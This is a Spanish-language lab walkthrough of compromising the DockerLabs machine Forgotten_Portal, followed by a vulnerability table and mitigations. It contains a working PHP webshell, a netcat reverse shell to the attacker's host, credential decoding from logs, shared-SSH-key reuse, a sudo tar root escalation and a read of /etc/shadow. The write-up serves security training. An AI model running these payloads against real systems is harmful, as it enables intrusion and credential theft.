Forgotten_Portal
Introducción
Sección titulada «Introducción»Este documento detalla la metodología y procedimiento completo para comprometer la máquina Forgotten_Portal, desarrollada por Cyberland para DockerLabs y clasificada con dificultad Media. Esta máquina simula un escenario común donde funcionalidades de upload mal configuradas, exposición de logs y configuración insegura de sudo permiten escalada completa de privilegios.
La resolución sigue una metodología estructurada:
- Reconocimiento: Enumeración de servicios y descubrimiento de funcionalidad de upload vulnerable.
- Explotación: Upload de webshell PHP para obtener ejecución remota de comandos.
- Escalada de privilegios: Extracción de credenciales de logs, abuso de claves SSH compartidas y explotación de sudo en tar.
El entorno de prueba fue desplegado localmente mediante DockerLabs, simulando vulnerabilidades comunes en portales web corporativos.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | Forgotten_Portal |
| Autor | Cyberland |
| Dificultad | Medio |
| Fecha | 04/12/2024 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Fase 1 — Despliegue y Configuración
Sección titulada «Fase 1 — Despliegue y Configuración»1.1 Preparación del Entorno
Sección titulada «1.1 Preparación del Entorno»Descomprimimos el archivo de la máquina y la desplegamos:
unzip Forgotten_Portal.zipsudo bash auto_deploy.sh Forgotten_Portal.tar
Figura 1: Dirección IP asignada al contenedor
1.2 Organización del Workspace
Sección titulada «1.2 Organización del Workspace»Creamos una estructura organizada para documentar el proceso:
mkdir -p Forgotten_Portal/{content,exploits,nmap,gobuster,scripts}cd Forgotten_PortalFase 2 — Reconocimiento
Sección titulada «Fase 2 — Reconocimiento»2.1 Escaneo de Puertos
Sección titulada «2.1 Escaneo de Puertos»Ejecutamos un escaneo TCP SYN para identificar servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsResultados:
- 22/tcp — SSH (Secure Shell)
- 80/tcp — HTTP (Web Server)

Figura 2: Servicios expuestos en la máquina
2.2 Análisis del Servicio Web
Sección titulada «2.2 Análisis del Servicio Web»Realizamos un escaneo exhaustivo de directorios:
feroxbuster -u http://172.17.0.2 -d 0 \ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \ -x php,txt,html,js,bak,old \ -t 40 \ -C 404,403
Figura 3: Directorios y archivos descubiertos
2.3 Enumeración de Contenido Web
Sección titulada «2.3 Enumeración de Contenido Web»-
/index — Página principal de una compañía de ciberseguridad
Figura 4: Nota sobre funcionalidad de upload implementada por Bob
-
/uploads — Directorio con permisos de lectura
Ventana de terminal curl -s http://172.17.0.2/uploads/Accesible públicamente, contiene archivos subidos
2.4 Descubrimiento de Funcionalidad Crítica
Sección titulada «2.4 Descubrimiento de Funcionalidad Crítica»Inspeccionando el código fuente de /index, encontramos referencia a /m4ch1n3_upload.php:

Figura 5: Portal de upload que acepta archivos PHP
Hallazgos importantes:
- Upload functionality accessible at
/m4ch1n3_upload.php - Explicitly allows
.phpfile uploads - Files are stored in
/uploads/directory - No apparent filtering or validation
Fase 3 — Explotación
Sección titulada «Fase 3 — Explotación»3.1 Desarrollo del Webshell
Sección titulada «3.1 Desarrollo del Webshell»Creamos un archivo PHP simple para ejecución de comandos:
<?php// shell.php - Web Shell básicoif(isset($_GET['cmd'])) { system($_GET['cmd']);} else { echo "Web Shell activa. Use ?cmd=<comando>";}?>3.2 Upload del Archivo Malicioso
Sección titulada «3.2 Upload del Archivo Malicioso»Subimos el archivo a través del portal:
- Accedemos a
http://172.17.0.2/m4ch1n3_upload.php - Seleccionamos
shell.php - Enviamos el formulario

Figura 6: Archivo PHP subido exitosamente
3.3 Acceso Inicial al Sistema
Sección titulada «3.3 Acceso Inicial al Sistema»Iniciamos un listener y accedemos al webshell:
# Iniciamos listenernc -nlvp 443
# Ejecutamos reverse shell desde el webshellcurl "http://172.17.0.2/uploads/shell.php?cmd=nc+-e+/bin/bash+172.17.0.1+443"
Figura 7: Shell como usuario www-data
3.4 Normalización de la Shell
Sección titulada «3.4 Normalización de la Shell»Mejoramos la shell interactiva:
python3 -c 'import pty;pty.spawn("/bin/bash")'export TERM=xtermexport PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/binFase 4 — Escalada de Privilegios
Sección titulada «Fase 4 — Escalada de Privilegios»4.1 Enumeración del Sistema
Sección titulada «4.1 Enumeración del Sistema»Comenzamos la enumeración post-explotación:
whoamiidpwdls -la4.2 De www-data → alice
Sección titulada «4.2 De www-data → alice»Revisamos archivos de log accesibles:
find / -name "*.log" -type f 2>/dev/null | head -20Encontramos un archivo de log interesante:
cat /path/to/access_log
Figura 8: Log con credenciales en base64
Extracción y decodificación de credenciales:
echo 'YWxpY2U6QWxpY2UxMjM0NQ==' | base64 -dResultado: alice:Alice12345
4.3 Acceso como alice
Sección titulada «4.3 Acceso como alice»Utilizamos las credenciales obtenidas:
su alice# Contraseña: Alice12345
Figura 9: Acceso como usuario alice
4.4 De alice → bob
Sección titulada «4.4 De alice → bob»Durante la enumeración como alice, encontramos un reporte de incidentes:
find /home -name "*.txt" -o -name "*.md" 2>/dev/null | xargs grep -l "bob\|ssh\|id_rsa" 2>/dev/nullHallazgos del reporte:
- La clave privada SSH de bob (
id_rsa) fue copiada accidentalmente al directorio.sshde todos los usuarios - La passphrase está documentada en texto plano en el reporte
- La ruta es:
~/.ssh/id_rsaen cada home directory
4.5 Utilización de la Clave SSH
Sección titulada «4.5 Utilización de la Clave SSH»Configuramos y utilizamos la clave SSH:
# Verificamos la existencia de la clavels -la ~/.ssh/id_rsa
# Ajustamos permisoschmod 600 ~/.ssh/id_rsa
# Probamos la conexión (passphrase del reporte)ssh -i ~/.ssh/id_rsa bob@localhostAlternativa si falla SSH directo:
# Copiamos la clave y usamos desde atacantecat ~/.ssh/id_rsa# [Copiar contenido y usar desde máquina atacante]4.6 De bob → root
Sección titulada «4.6 De bob → root»Verificamos privilegios sudo disponibles:
sudo -l
Figura 10: Bob puede ejecutar tar como root sin contraseña
4.7 Explotación de Vulnerabilidad en tar
Sección titulada «4.7 Explotación de Vulnerabilidad en tar»Utilizamos la opción --checkpoint-action de tar para ejecutar comandos como root:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bashExplicación del exploit:
--checkpoint=1: Establece un checkpoint cada 1 registro--checkpoint-action=exec=/bin/bash: Ejecuta/bin/bashen cada checkpoint- Tar se ejecuta como root, por lo que bash se ejecuta como root

Figura 11: Shell como usuario root
4.8 Verificación de Acceso Root
Sección titulada «4.8 Verificación de Acceso Root»idwhoamicat /etc/shadow | head -5Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»5.1 Fallos de Seguridad Identificados
Sección titulada «5.1 Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto | CWE/Referencia |
|---|---|---|---|
| Upload de archivos sin validación | Crítica | Ejecución remota de código | CWE-434 |
| Exposición de directorio /uploads | Alta | Acceso directo a archivos subidos | CWE-552 |
| Credenciales en logs en texto plano/Base64 | Alta | Exposición de credenciales | CWE-532 |
| Claves SSH compartidas entre usuarios | Crítica | Escalada horizontal de privilegios | CWE-522 |
| Configuración insegura de sudo (tar) | Crítica | Ejecución de comandos como root | CWE-269 |
| Passphrases de claves en documentación | Alta | Anulación de protección por clave | CWE-521 |
5.2 Recomendaciones de Mitigación
Sección titulada «5.2 Recomendaciones de Mitigación»-
Validación de Upload de Archivos:
- Implementar lista blanca de extensiones permitidas
- Validar tipo MIME real del archivo
- Renombrar archivos subidos (ej: usar UUIDs)
- Almacenar archivos fuera del directorio web root
// EJEMPLO DE VALIDACIÓN CORRECTA$allowed_extensions = ['jpg', 'png', 'pdf'];$file_extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));if(!in_array($file_extension, $allowed_extensions)) {die("Tipo de archivo no permitido");} -
Protección de Directorios de Upload:
- Implementar .htaccess para bloquear ejecución
# .htaccess en directorio uploadsOptions -IndexesRemoveHandler .php .phtml .php3 .php4 .php5 .php7RemoveType .php .phtml .php3 .php4 .php5 .php7<FilesMatch "\.php$">Order Deny,AllowDeny from all</FilesMatch> -
Gestión de Logs y Credenciales:
- No registrar credenciales en logs
- Encriptar datos sensibles en logs
- Implementar rotación y retención adecuada de logs
- Restringir acceso a archivos de log
-
Gestión de Claves SSH:
- No compartir claves privadas entre usuarios
- Utilizar agentes SSH para gestión de claves
- Implementar certificados SSH en lugar de claves estáticas
- Rotar claves regularmente y después de incidentes
-
Configuración Segura de Sudo:
- Revisar y minimizar privilegios sudo
- Especificar comandos exactos en lugar de binarios genéricos
- Implementar reglas específicas para tar:
Ventana de terminal # INCORRECTObob ALL=(ALL) NOPASSWD: /bin/tar# CORRECTO (si es necesario)bob ALL=(ALL) NOPASSWD: /bin/tar -c /backups/* -
Hardening del Sistema:
- Implementar SELinux/AppArmor para confinamiento
- Configurar sistemas de detección de intrusión (IDS)
- Monitorear ejecución de comandos privilegiados
- Realizar auditorías de seguridad periódicas
-
Concienciación y Capacitación:
- Capacitar a desarrolladores en seguridad web
- Implementar revisiones de código seguro
- Establecer políticas de manejo de credenciales
- Realizar ejercicios de respuesta a incidentes